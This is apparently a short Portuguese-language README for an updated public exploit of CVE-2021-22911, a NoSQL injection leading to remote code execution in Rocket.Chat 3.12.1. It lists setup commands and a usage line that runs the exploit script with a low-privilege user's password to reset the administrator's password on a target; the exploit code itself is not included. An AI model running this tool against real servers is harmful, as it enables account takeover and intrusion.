Exploit atualizado para CVE-2021-22911 (Rocket.Chat 3.12.1 - Injeção NoSQL para RCE (Não Autenticado))

créditos originais para: https://www.exploit-db.com/exploits/50108

Configuração

• Crie um ambiente virtual Python e instale as dependências

$ python -m venv venv
$ source venv/bin/activate
$ pip install requests oathtool

Uso

• Adicionei um novo argumento -p que recebe a senha do usuário de baixo privilégio e também usa a mesma para redefinir a senha do administrador

$ python 50108.py -u "[email protected]" -p "<low priv user password>" -a "admin@localhost" -t "http://<ip>:<port>"